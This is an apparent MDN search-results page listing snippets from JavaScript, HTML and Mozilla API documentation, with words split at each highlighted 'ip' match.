Search completed in 1.49 seconds.
A re-introduction to JavaScript (JS tutorial) - JavaScript
why a re-introduction? ...
... why a re-introduction? ...
...rstood programming language. it is often derided as being a toy, but beneath its layer of deceptive simplicity, powerful language features await. javascr
ipt is now used by an incredible number of high-profile applications, showing that deeper knowledge of this technology is an important skill for any web or mobile developer. it's useful to start with an overview of the language's history. javascr
ipt was created in 1995 by brendan eich while he was an engineer at netscape. javascr
ipt was first released with netscape 2 early in 1996. it was originally going to be called livescr
ipt, but it was renamed in an ill-fated marketing decision that attempted to capitalize on the popularity of sun microsystem's java language -- despite the two having very little in common. this has been a source of con...
...And 56 more matches
JavaScript modules - JavaScript
<< previous this guide gives you all you need to get started with javascr
ipt module syntax. a background on modules javascr
ipt programs started off pretty small -- most of its usage in the early days was to do isolated scr
ipting tasks, providing a bit of interactivity to your web pages where needed, so large scr
ipts were generally not needed. fast forward a few years and we now have complete applications being run in browsers with a lot of javascr
ipt, as well as javascr
ipt being used in other contexts (node.js, for example). it has therefore made sense in recent years to start thinking about providing mechanisms for splitting javascr
ipt programs up into separate modules that can be imported when needed. node.js has had this ability for a long time, and there are a number of...
... the good news is that modern browsers have started to support module functionality natively, and this is what this article is all about. ...
...dule systems like requirejs, and more recently webpack and babel). the good news is that modern browsers have started to support module functionality natively, and this is what this article is all about. ...
...And 42 more matches
nsIPrincipal
caps/ns
iprinc
ipal.idlscr
iptable provides the interface to a princ
ipal, which represents a security context. on the web, for example, a typical princ
ipal is comprised of an url scheme, host, and port. inherits from: nsiserializable last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for details on princ
ipals, how they work, and how to get the appropriate one, see security check basics. method overview short canenablecapability(in string capability); native code only! void checkmayload(in nsiuri uri, in boolean report); void disablecapability(in string capability, inout voidptr annotation); native code only! void enablecapability(in string capability, inout voidptr annotation); native code only! boolean equals(in ...
...rity check basics. ...
...heck basics. ...
...And 29 more matches
JavaScript data types and data structures - JavaScript
programming languages all have built-in data structures, but these often differ from one language to another. this article attempts to list the built-in data structures available in javascr
ipt and what properties they have. these can be used to build other data structures. wherever possible, comparisons with other languages are drawn. dynamic typing javascr
ipt is a loosely typed and dynamic language. ...
...have built-in data structures, but these often differ from one language to another. this article attempts to list the built-in data structures available in javascr
ipt and what properties they have. these can be used to build other data structures. wherever possible, comparisons with other languages are drawn. dynamic typing javascr
ipt is a loosely typed and dynamic language. ...
...drawn. dynamic typing javascr
ipt is a loosely typed and dynamic language. variables in javascr
ipt are not directly associated with any particular value type, and any variable can be assigned (and re-assigned) values of all types: let foo = 42; // foo is now a number foo = 'bar'; // foo is now a string foo = true; // foo is now a boolean data and structure types the latest ecmascr
ipt standard defines nine types: six data types that are primitives, checked by typeof operator: undefined : typeof instance === "undefined" boolean : typeof instance === "boolean" number : typeof instance === "number" string : typeof instance === "string" bigint : typeof instance === "bigint" symbol : typeof instance === "symbol" null : typeof instance === "object". s...
...And 22 more matches
JS_CompileScriptForPrincipals
obsolete since jsapi 28this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. compile a security-enabled scr
ipt for execution. ...
... obsolete since jsapi 28this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. compile a security-enabled scr
ipt for execution. ...
... obsolete since jsapi 28this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. compile a security-enabled scr
ipt for execution. ...
...And 21 more matches
<script>: The Script element - HTML: Hypertext Markup Language
the html <scr
ipt> element is used to embed executable code or data; this is typically used to embed or refer to javascr
ipt code. the <scr
ipt> element can also be used with other languages, such as webgl's glsl shader programming language and json. content categories metadata content, flow content, phrasing content. permitted content dynamic scr
ipt such as text/javascr
ipt. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts metadata content, or any element that accepts phrasing content. ...
... permitted content dynamic scr
ipt such as text/javascr
ipt. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts metadata content, or any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlscr
iptelement attributes this element includes the global attributes. asynchtml5 for classic scr
ipts, if the async attribute is present, then the classic scr
ipt will be fetched in parallel to parsing and evaluated as soon as it is available. ...
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlscr
iptelement attributes this element includes the global attributes. asynchtml5 for classic scr
ipts, if the async attribute is present, then the classic scr
ipt will be fetched in parallel to parsing and evaluated as soon as it is available. for module scr
ipts, if the async attribute is present then the scr
ipts and all their dependencies will be executed in the defer queue, therefore they will get fetched in parallel to parsing and evaluated as soon as they are available. this attribute allows the elimination of parser-blocking javascr
ipt where the browser would have to load and evaluate scr
ipts before continuing to parse. defer has a similar effec...
...And 19 more matches
nsIPushSubscription
dom/interfaces/push/ns
ipushservice.idlscr
iptable includes information needed to send a push message to privileged code. inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) each subscr
iption is associated with a unique url generated by the push service. sending a post request to this url routes the message to the instance of firefox that created the subscr
iption. a subscr
iption also has a public key and secret; these are used to encrypt message payloads. this interface resembles pushsubscr
iption from the push api. method overview void getkey(in domstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key); bool quotaapplies(); bool isexpired(); attribut...
...r
iption also has a public key and secret; these are used to encrypt message payloads. this interface resembles pushsubscr
iption from the push api. method overview void getkey(in domstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key); bool quotaapplies(); bool isexpired(); attributes attribute type descr
iption endpoint domstring the subscr
iption url. pushcount long long the total number of messages sent to this subscr
iption. lastpush long long the last time a message was sent to this subscr
iption, in milliseconds since the epoch. quota long the number of remaining background messages for this subscr
iption, or -1 if exempt. methods ...
...the remote server can use these keys to encrypt and authenticate message payloads. the following key names are supported: p256dh the ecdh public key, used as the input keying material in the hkdf invocation during encryption. ...
...And 16 more matches
JavaScript language resources - JavaScript
ecmascr
ipt is the scr
ipting language that forms the basis of javascr
ipt. ecmascr
ipt standardized by the ecma international standards organization in the ecma-262 and ecma-402 specifications. ...
... ecmascr
ipt is the scr
ipting language that forms the basis of javascr
ipt. ecmascr
ipt standardized by the ecma international standards organization in the ecma-262 and ecma-402 specifications. ...
... ecmascr
ipt is the scr
ipting language that forms the basis of javascr
ipt. ecmascr
ipt standardized by the ecma international standards organization in the ecma-262 and ecma-402 specifications. ...
...And 16 more matches
JS_EvaluateScriptForPrincipals
obsolete since jsapi 30this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. compile and execute a security-enabled scr
ipt. ...
... obsolete since jsapi 30this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. compile and execute a security-enabled scr
ipt. ...
... obsolete since jsapi 30this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. compile and execute a security-enabled scr
ipt. ...
...And 15 more matches
JavaScript — Dynamic client-side scripting - Learn web development
javascr
ipt is a programming language that allows you to implement complex things on web pages. every time a web page does more than just sit there and display static information for you to look at--displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, or more--you can bet that javascr
ipt is probably involved. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites javascr
ipt is arguably more difficult to learn than related technologies such as html and css. before attempting to learn javascr
ipt, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. star...
...re attempting to learn javascr
ipt, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. start by working through the following modules: getting started with the web introduction to html introduction to css having previous experience with other programming languages might also help. after getting familiar with the basics of javascr
ipt, you should be in a position to learn about more advanced topics, for example: javascr
ipt in depth, as taught in our javascr
ipt guide web apis modules this topic contains the following modules, in a suggested order for working through them. ...
...n to css having previous experience with other programming languages might also help. after getting familiar with the basics of javascr
ipt, you should be in a position to learn about more advanced topics, for example: javascr
ipt in depth, as taught in our javascr
ipt guide web apis modules this topic contains the following modules, in a suggested order for working through them. ...
...And 7 more matches
Object.getOwnPropertyDescriptor() - JavaScript
the object.getownpropertydescr
iptor() method returns an object describing the configuration of a specific property on a given object (that is, one directly present on an object and not in the object's prototype chain). the object returned is mutable but mutating it has no effect on the original property's configuration. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.getownpropertydescr
iptor(obj, prop) parameters obj the object in which to look for the property. prop the name or symbol of the property whose descr
iption is to be retrieved. ...
... github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.getownpropertydescr
iptor(obj, prop) parameters obj the object in which to look for the property. prop the name or symbol of the property whose descr
iption is to be retrieved. return value a property descr
iptor of the given property if it exists on the object, undefined otherwise. descr
iption this method permits examination of the precise descr
iption of a property. ...
...getownpropertydescr
iptor(obj, prop) parameters obj the object in which to look for the property. prop the name or symbol of the property whose descr
iption is to be retrieved. return value a property descr
iptor of the given property if it exists on the object, undefined otherwise. descr
iption this method permits examination of the precise descr
iption of a property. a property in javascr
ipt consists of either a string-valued name or a symbol and a property descr
iptor. further information about property descr
iptor types and their attributes can be found in object.defineproperty(). a property descr
iptor is a record with some of the following attributes: value the value associated with the property (data descr
iptors only). writable true if and only if the value associated with ...
...And 7 more matches
IPC Protocol Definition Language (IPDL)
ipdl, short for "
ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way. all messages for multi-process plugins and tabs in firefox are declared in the
ipdl language. ...
...
ipdl, short for "
ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way. all messages for multi-process plugins and tabs in firefox are declared in the
ipdl language. ...
...ort for "
ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way. all messages for multi-process plugins and tabs in firefox are declared in the
ipdl language. ...
...And 6 more matches
MSManipulationEvent.initMSManipulationEvent() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the initmsman
ipulationevent method is used to create a msman
ipulationevent that can be called from javascr
ipt. this proprietary method is specific to internet explorer. ...
... canbubblearg [in] type: boolean indicates whether the event can bubble. ...
... canbubblearg [in] type: boolean indicates whether the event can bubble. when true the event should propagate upward. ...
...And 6 more matches
JavaScript technologies overview - JavaScript
introduction whereas html defines a webpage's structure and content and css sets the formatting and appearance, javascr
ipt adds interactivity to a webpage and creates rich web applications. however, the umbrella term "javascr
ipt" as understood in a web browser context contains several very different elements. one of them is the core language (ecmascr
ipt), another is the collection of the web apis, including the dom (document object model). javascr
ipt, the core language (ecmascr
ipt) the core language of javascr
ipt is standardized by the ecma tc39 committee as a language named ecmascr
ipt. ...
...one of them is the core language (ecmascr
ipt), another is the collection of the web apis, including the dom (document object model). javascr
ipt, the core language (ecmascr
ipt) the core language of javascr
ipt is standardized by the ecma tc39 committee as a language named ecmascr
ipt. this core language is also used in non-browser environments, for example in node.js. what falls under the ecmascr
ipt scope? ...
...cr
ipt), another is the collection of the web apis, including the dom (document object model). javascr
ipt, the core language (ecmascr
ipt) the core language of javascr
ipt is standardized by the ecma tc39 committee as a language named ecmascr
ipt. this core language is also used in non-browser environments, for example in node.js. what falls under the ecmascr
ipt scope? among other things, ecmascr
ipt defines: language syntax (parsing rules, keywords, control flow, object literal initialization, ...) error handling mechanisms (throw, try...catch, ability to create user-defined error types) types (boolean, number, string, function, object, ...) the global object. in a browser, this global object is the window object, but ecmascr
ipt only defines the apis not specific to browsers, e.g. par...
...And 5 more matches
Intl.Locale.prototype.script - JavaScript
the intl.locale.prototype.scr
ipt property is an accessor property which returns the scr
ipt used for writing the particular language used in the locale. descr
iption a scr
ipt, sometimes called writing system, is one of the core attributes of a locale. it indicates the set of symbols, or glyphs, that are used to write a particular language. for instance, the scr
ipt associated with english is latin, whereas the scr
ipt typically associated with korean is hangul. in many cases, denoting a scr
ipt is not strictly necessary, since the language (which is necessary) is only written in a single scr
ipt. there are exceptions to this rule, however, and it is important to indicate the scr
ipt whenever possible, in order to have a complete unicode language identifier. ...
...h is latin, whereas the scr
ipt typically associated with korean is hangul. in many cases, denoting a scr
ipt is not strictly necessary, since the language (which is necessary) is only written in a single scr
ipt. there are exceptions to this rule, however, and it is important to indicate the scr
ipt whenever possible, in order to have a complete unicode language identifier. examples setting the scr
ipt in the locale identifer string argument the scr
ipt is the second part of a valid unicode language identifier string, and can be set by adding it to the locale identifier string that is passed into the locale constructor. note that the scr
ipt is not a required part of a locale identifier. ...
...ever possible, in order to have a complete unicode language identifier. examples setting the scr
ipt in the locale identifer string argument the scr
ipt is the second part of a valid unicode language identifier string, and can be set by adding it to the locale identifier string that is passed into the locale constructor. note that the scr
ipt is not a required part of a locale identifier. let scr
iptstr = new intl.locale("en-latn-us"); console.log(scr
iptstr.scr
ipt); // prints "latn" setting the scr
ipt via the configuration object the locale constructor takes a configuration object, which can be used to set the scr
ipt subtag and property. ...
...And 5 more matches
JavaScript typed arrays - JavaScript
javascr
ipt typed arrays are array-like objects that provide a mechanism for reading and writing raw binary data in memory buffers. as you may already know, array objects grow and shrink dynamically and can have any javascr
ipt value. javascr
ipt engines perform optimizations so that these arrays are fast. however, as web applications become more and more powerful, adding features such as audio and video man
ipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascr
ipt code to be able to quickly and easily man
ipulate raw binary data. this is where typed arrays come in. ...
... however, typed arrays are not to be confused with normal arrays, as calling array.isarray() on a typed array returns false. ...
...ported formats, from 8-bit integers to 64-bit floating-point numbers. however, typed arrays are not to be confused with normal arrays, as calling array.isarray() on a typed array returns false. moreover, not all methods available for normal arrays are supported by typed arrays (e.g. push and pop). buffers and views: typed array architecture to achieve maximum flexibility and efficiency, javascr
ipt typed arrays split the implementation into buffers and views. a buffer (implemented by the arraybuffer object) is an object representing a chunk of data; it has no format to speak of and offers no mechanism for accessing its contents. in order to access the memory contained in a buffer, you need to use a view. a view provides a context -- that is, a data type, starting offset, and the number of ...
...And 5 more matches
nsIPipe
xpcom/io/ns
ipipe.idlscr
iptable this interface represents an in-process buffer that can be read using nsiinputstream and written using nsioutputstream. inherits from: nsisupports last changed in gecko 1.6 method overview void init(in boolean nonblockinginput, in boolean nonblockingoutput, in unsigned long segmentsize, in unsigned long segmentcount, in nsimemory segmentallocator); attributes attribute type descr
iption inputstream nsiasyncinputstream the p
ipe's input end, which also implements nsisearchableinputstream. read only. outputstream nsiasyncoutputstream the p
ipe's output end. read only. methods init() initialize this p
ipe. void init( in boolean nonblocking...
...meters nonblockinginput true specifies non-blocking input stream behavior. nonblockingoutput true specifies non-blocking output stream behavior. segmentsize specifies the segment size in bytes (pass 0 to use default value) segmentcount specifies the max number of segments (pass 0 to use default value). passing pr_uint32_max here causes the p
ipe to have "infinite" space. this mode can be useful in some cases, but should always be used with caution. the default value for this parameter is a finite value. segmentallocator pass reference to nsimemory to have all p
ipe allocations use this allocator (pass null to use the default allocator) remarks the reader and writer of a p
ipe do not have to be on the same thread. as a resul...
...e "infinite" space. this mode can be useful in some cases, but should always be used with caution. the default value for this parameter is a finite value. segmentallocator pass reference to nsimemory to have all p
ipe allocations use this allocator (pass null to use the default allocator) remarks the reader and writer of a p
ipe do not have to be on the same thread. as a result, the p
ipe is an ideal mechanism to bridge data exchange between two threads. for example, a worker thread might write data to a p
ipe from which the main thread will read. each end of the p
ipe can be either blocking or non-blocking. recall that a non-blocking stream will return ns_base_stream_would_block if it cannot be read or written to without blocking the calling thread. for example, if you try to read...
...And 4 more matches
Reflect.getOwnPropertyDescriptor() - JavaScript
the static reflect.getownpropertydescr
iptor() method is similar to object.getownpropertydescr
iptor(). it returns a property descr
iptor of the given property if it exists on the object, undefined otherwise. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.getownpropertydescr
iptor(target, propertykey) parameters target the target object in which to look for the property. propertykey the name of the property to get an own property descr
iptor for. return value a property descr
iptor object if the property exists in target object; otherwise, undefined. exceptions a typeerror, if target is not...
...pull request. syntax reflect.getownpropertydescr
iptor(target, propertykey) parameters target the target object in which to look for the property. propertykey the name of the property to get an own property descr
iptor for. return value a property descr
iptor object if the property exists in target object; otherwise, undefined. exceptions a typeerror, if target is not an object. descr
iption the reflect.getownpropertydescr
iptor method returns a property descr
iptor of the given property if it exists in the target object, undefined otherwise. the only difference to object.getownpropertydescr
iptor() is how non-object targets are handled. ...
...in target object; otherwise, undefined. exceptions a typeerror, if target is not an object. descr
iption the reflect.getownpropertydescr
iptor method returns a property descr
iptor of the given property if it exists in the target object, undefined otherwise. the only difference to object.getownpropertydescr
iptor() is how non-object targets are handled. ...
...And 4 more matches
JavaScript Tips
var uniquename = { _privatemember: 3, publicmember: "a string", init: function() { this.dosomething(this.anothermember); }, dosomething: function(aparam) { alert(aparam); } }; xpconnect don't use object methods and properties more than you have to. it is often faster to store the result in a temporary variable. don't call methods that you don't have to. for instance, windowmanager.getenumerator(atype).hasmoreelements() may be replaced with windowmanager.getmostrecentwindow(atype) != null for a single window. ...
... succeeds. xpconnect knows all about tearoffs and modifies the object that you queryinterface or instanceof to cache all its known interfaces. when passing an object to an xpcom method it is helpful if the object you pass is an xpcom object, so that the c++ method access a c++ object. however, this is not always necessary or desirable. ...
...of to cache all its known interfaces. when passing an object to an xpcom method it is helpful if the object you pass is an xpcom object, so that the c++ method access a c++ object. however, this is not always necessary or desirable. for instance the offline observer declared above is a javascr
ipt object that is registered with an xpcom object, so that the call back from xpcom executes the javascr
ipt method. ...
...And 3 more matches
nsIProcessScriptLoader
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports this interface is used by parent process message managers to load scr
ipts into a child process. the scr
ipts run only once per process. the global object for process scr
ipts is a contentprocessmessagemanager. methods void loadprocessscr
ipt(in astring aurl, in boolean aallowdelayedload) void removedelayedprocessscr
ipt(in astring aurl); jsval getdelayedprocessscr
ipts(); loadprocessscr
ipt() load a scr
ipt in the child process. process scr
ipts are loaded as soon as loadprocessscr
ipt() is called. if this function is called on a chromemessagebroadcaster, : it will load the process scr
ipt into all child processes. if aall...
... void removedelayedprocessscr
ipt(in astring aurl); jsval getdelayedprocessscr
ipts(); loadprocessscr
ipt() load a scr
ipt in the child process. process scr
ipts are loaded as soon as loadprocessscr
ipt() is called. if this function is called on a chromemessagebroadcaster, : it will load the process scr
ipt into all child processes. if aallowdelayedload is true, then the scr
ipt will also be loaded into any new child processes created after the loadprocessscr
ipt() call. otherwise it will only be loaded into child processes that exist at the time of the call. if this function is called on a chromemessagesender: it will load the process scr
ipt only into this chromemessagesender's child process aallowdelayedload should always be true. it's possible that the child pro...
... call. otherwise it will only be loaded into child processes that exist at the time of the call. if this function is called on a chromemessagesender: it will load the process scr
ipt only into this chromemessagesender's child process aallowdelayedload should always be true. it's possible that the child process for this chromemessagesender is not yet available at the time of the loadprocessscr
ipt() call, and if you pass false in this situation, your process scr
ipt won't be loaded. for example: let ppmm = services.ppmm.getchildat(1); ppmm.loadprocessscr
ipt('data:,dump("foo\n");', true); parameters name type descr
iption aurl string url for the scr
ipt to load. aurl must be the absolute url. data: urls are also supported. for example data:,dump("foo\n")...
...And 3 more matches
About the JavaScript reference - JavaScript
the javascr
ipt reference serves as a repository of facts about the javascr
ipt language. the entire language is described here in detail. as you write javascr
ipt code, you'll refer to these pages often (thus the title "javascr
ipt reference"). if you're learning javascr
ipt, or need help understanding some of its capabilities or features, check out the javascr
ipt guide. the javascr
ipt language is intended to be used within some larger environment, be it a browser, server-side scr
ipts, or similar. for the most part, this reference attempts to be environment-agnostic and does not target a web browser environment. ...
...once you have a firm grasp of the fundamentals, you can use the reference to get more details on individual objects and language constructs. ...
...vascr
ipt, or need help understanding some of its capabilities or features, check out the javascr
ipt guide. the javascr
ipt language is intended to be used within some larger environment, be it a browser, server-side scr
ipts, or similar. for the most part, this reference attempts to be environment-agnostic and does not target a web browser environment. where to find javascr
ipt information javascr
ipt documentation of core language features (pure ecmascr
ipt, for the most part) includes the following: the javascr
ipt guide the javascr
ipt reference if you are new to javascr
ipt, start with the guide. once you have a firm grasp of the fundamentals, you can use the reference to get more details on individual objects and language constructs. ...
...And 3 more matches
Object.getOwnPropertyDescriptors() - JavaScript
the object.getownpropertydescr
iptors() method returns all own property descr
iptors of a given object. syntax object.getownpropertydescr
iptors(obj) parameters obj the object for which to get all own property descr
iptors. return value an object containing all own property descr
iptors of an object. might be an empty object, if there are no properties. descr
iption this method permits examination of the precise descr
iption of all own properties of an object. a property in javascr
ipt consists of either a string-valued name or a symbol and a property descr
iptor. further information about property descr
iptor types and their attributes can be found in object.defineproperty(). ...
.... might be an empty object, if there are no properties. descr
iption this method permits examination of the precise descr
iption of all own properties of an object. a property in javascr
ipt consists of either a string-valued name or a symbol and a property descr
iptor. further information about property descr
iptor types and their attributes can be found in object.defineproperty(). a property descr
iptor is a record with some of the following attributes: value the value associated with the property (data descr
iptors only). writable true if and only if the value associated with the property may be changed (data descr
iptors only). get a function which serves as a getter for the property, or undefined if there is no getter (accessor descr
iptors only). set a function which serves as a se...
... enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. ...
...And 3 more matches
handler.getOwnPropertyDescriptor() - JavaScript
the handler.getownpropertydescr
iptor() method is a trap for object.getownpropertydescr
iptor(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p = new proxy(target, { getownpropertydescr
iptor: function(target, prop) { } }); parameters the following parameters are passed to the getownpropertydescr
iptor() method. this is bound to the handler. target the target object. prop the name of the property whose descr
iption should be retrieved. return value the getownpropertydescr
iptor() method must return an object or undefined. ...
...new proxy(target, { getownpropertydescr
iptor: function(target, prop) { } }); parameters the following parameters are passed to the getownpropertydescr
iptor() method. this is bound to the handler. target the target object. prop the name of the property whose descr
iption should be retrieved. return value the getownpropertydescr
iptor() method must return an object or undefined. descr
iption the handler.getownpropertydescr
iptor() method is a trap for object.getownpropertydescr
iptor(). interceptions this trap can intercept these operations: object.getownpropertydescr
iptor() reflect.getownpropertydescr
iptor() invariants if the following invariants are violated, the proxy will throw a typeerror: getownpropertydescr
iptor() must return an object or undefined. a property ...
...et object is not extensible. a property cannot be reported as existent, if it does not exists as an own property of the target object and the target object is not extensible. a property cannot be reported as non-configurable, if it does not exists as an own property of the target object or if it exists as a configurable own property of the target object. ...
...And 3 more matches
Symbol.prototype.description - JavaScript
the read-only descr
iption property is a string returning the optional descr
iption of symbol objects. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. descr
iption symbol objects can be created with an optional descr
iption which can be used for debugging but not to access the symbol itself. the symbol.prototype.descr
iption property can be used to read that descr
iption. it is different to symbol.prototype.tostring() as it does not contain the enclosing "symbol()" string. see the examples. ...
...amples and send us a pull request. descr
iption symbol objects can be created with an optional descr
iption which can be used for debugging but not to access the symbol itself. the symbol.prototype.descr
iption property can be used to read that descr
iption. it is different to symbol.prototype.tostring() as it does not contain the enclosing "symbol()" string. see the examples. ...
...ted with an optional descr
iption which can be used for debugging but not to access the symbol itself. the symbol.prototype.descr
iption property can be used to read that descr
iption. it is different to symbol.prototype.tostring() as it does not contain the enclosing "symbol()" string. see the examples. ...
...And 3 more matches
JavaScript shells - JavaScript
a javascr
ipt shell allows you to quickly test sn
ippets of javascr
ipt code without having to reload a web page. they are extremely useful for developing and debugging code. standalone javascr
ipt shells the following javascr
ipt shells are stand-alone environments, like perl or python. node.js - node.js is a platform for easily building fast, scalable network applications. jsdb - a standalone javascr
ipt shell, with compiled binaries for windows, mac, and linux. javalikescr
ipt - a standalone, extensible javascr
ipt shell including both native and javascr
ipt libraries. gluescr
ipt - a standalone javascr
ipt shell for writing cross-platform javascr
ipt applications. it can use wxwidgets for gui apps and was formerly called wxjavascr
ipt. ...
...ns. jsdb - a standalone javascr
ipt shell, with compiled binaries for windows, mac, and linux. javalikescr
ipt - a standalone, extensible javascr
ipt shell including both native and javascr
ipt libraries. gluescr
ipt - a standalone javascr
ipt shell for writing cross-platform javascr
ipt applications. it can use wxwidgets for gui apps and was formerly called wxjavascr
ipt. jspl - a standalone javascr
ipt shell enhanced by perl. can use perl modules directly from javascr
ipt: dbi for database integration, gtk2 for gui apps, posix for system programming, etc. the best of cpan now for javascr
ipt programmers. shelljs - portable unix shell commands for node.js list of javascr
ipt shells the following javascr
ipt shells work with mozilla. ...
...jspl - a standalone javascr
ipt shell enhanced by perl. can use perl modules directly from javascr
ipt: dbi for database integration, gtk2 for gui apps, posix for system programming, etc. the best of cpan now for javascr
ipt programmers. shelljs - portable unix shell commands for node.js list of javascr
ipt shells the following javascr
ipt shells work with mozilla. firefox has a built-in javascr
ipt console, which support multi-line editing. javascr
ipt shell (js) - a command line interpreter for javascr
ipt xpcshell is an xpconnect - enabled shell, sometimes useful for mozilla development. babel repl - a browser-based repl for experimenting with future javascr
ipt. es6console.com - an open-source javascr
ipt console to test ecmascr
ipt 2015 code inside the browser. jsconsole.com -- an open...
...And 3 more matches
MathML Demo: <mmultiscripts> - attach prescripts and tensor indices to a base
a mathml mmultiscr
ipts object allows you to build tensor-like objects. for example m c d a b . the scr
ipts come in pairs, with <mprescr
ipts/> used to indicate prescr
ipts and <none/> used to hold an empty position as in f b a . there are some variations possible: <mmultiscr
ipts> a a b c d , nested <msubsup>s a a b c d , or &invisiblecomma; a a c b d . displays a mathml mmultiscr
ipts objects allows you to build tensor-like objects. ...
...airs, with <mprescr
ipts/> used to indicate prescr
ipts and <none/> used to hold an empty position as in f b a . there are some variations possible: <mmultiscr
ipts> a a b c d , nested <msubsup>s a a b c d , or &invisiblecomma; a a c b d . displays a mathml mmultiscr
ipts objects allows you to build tensor-like objects. ...
... indicate prescr
ipts and <none/> used to hold an empty position as in f b a . there are some variations possible: <mmultiscr
ipts> a a b c d , nested <msubsup>s a a b c d , or &invisiblecomma; a a c b d . displays a mathml mmultiscr
ipts objects allows you to build tensor-like objects. ...
...And 2 more matches
JavaScript Guide - JavaScript
the javascr
ipt guide shows you how to use javascr
ipt and gives an overview of the language. if you need exhaustive information about a language feature, have a look at the javascr
ipt reference. ...
... the javascr
ipt guide shows you how to use javascr
ipt and gives an overview of the language. if you need exhaustive information about a language feature, have a look at the javascr
ipt reference. ...
... the javascr
ipt guide shows you how to use javascr
ipt and gives an overview of the language. if you need exhaustive information about a language feature, have a look at the javascr
ipt reference. ...
...And 2 more matches
Enumerability and ownership of properties - JavaScript
enumerable properties are those properties whose internal enumerable flag is set to true, which is the default for properties created via simple assignment or via a property initializer (properties defined via object.defineproperty and such default enumerable to false). enumerable properties show up in for...in loops unless the property's key is a symbol. ownersh
ip of properties is determined by whether the property belongs to the object directly and not to its prototype chain. properties of an object can also be retrieved in total. there are a number of built-in means of detecting, iterating/enumerating, and retrieving object properties, with the chart showing below which are available. some sample code follows which demonstrates how to obtain the missing categories. property enumerabi...
...ty belongs to the object directly and not to its prototype chain. properties of an object can also be retrieved in total. there are a number of built-in means of detecting, iterating/enumerating, and retrieving object properties, with the chart showing below which are available. some sample code follows which demonstrates how to obtain the missing categories. ...
... detection can occur by simplepropertyretriever.thegetmethodyouwant(obj).indexof(prop) > -1 iteration can occur by simplepropertyretriever.thegetmethodyouwant(obj).foreach(function (value, prop) {}); (or use filter(), map(), etc.) var simplepropertyretriever = { getownenumerables: fun...
... }); } if (!iterateprototypebool) { break; } iterateselfbool = true; } while (obj = object.getprototypeof(obj)); return props; } }; detection table in for..in obj.hasownproperty obj.propertyisenumerable object.keys object.getownpropertynames object.getownpropertydescr
iptors reflect.ownkeys() enumerable true true true true true true true true nonenumerable true false true false false true true true symbols keys true false true true false false true true inherited enumerable true true false false false false false false ...
JavaScript reference - JavaScript
this part of the javascr
ipt section on mdn serves as a repository of facts about the javascr
ipt language. read more about this reference. built-ins javascr
ipt standard built-in objects, along with their methods and properties. value properties infinity nan undefined globalthis function properties eval() isfinite() isnan() parsefloat() parseint() decodeuri() decodeuricomponent() encodeuri() encodeuricomponent() fundamental objects object function boolean symbol error objects error aggregateerror evalerror internalerror rangeerror referenceerror syntaxerror typeerror urierror numbers & dates number bigint math date text processing string regexp indexed collections array int8...
...ion intl intl.collator intl.datetimeformat intl.displaynames intl.listformat intl.locale intl.numberformat intl.pluralrules intl.relativetimeformat webassembly webassembly webassembly.module webassembly.instance webassembly.memory webassembly.table webassembly.compileerror webassembly.linkerror webassembly.runtimeerror statements javascr
ipt statements and declarations control flowblock break continue empty if...else switch throw try...catch declarations var let const functions and classes function function* async function return class iterations do...while for for each...in for...in for...of for await...of while other debugger import label with ...
... primary expressionsthis function class function* yield yield* async function await [] {} /ab+c/i ( ) null left-hand-side expressions property accessors new new.target super ...obj increment & decrement a++ a-- ++a --a unary operators delete void typeof + - ~ ! arithmetic operators ...
... arguments arrow functions default parameters rest parameters additional reference pages lexical grammar data types and data structures strict mode deprecated features ...
ClipboardEvent.clipboardData - Web APIs
working draft initial definition. ...
... working draft initial definition. ...
...oarddata property holds a datatransfer object, which can be used: to specify what data should be put into the cl
ipboard from the cut and copy event handlers, typically with a setdata(format, data) call; to obtain the data to be pasted from the paste event handler, typically with a getdata(format) call. see the cut, copy, and paste events documentation for more information. syntax data = cl
ipboardevent.cl
ipboarddata specifications specification status comment cl
ipboard api and eventsthe definition of 'cl
ipboardevent.cl
ipboarddata' in that specification. working draft initial definition. ...
Warning: JavaScript 1.6's for-each-in loops are deprecated - JavaScript
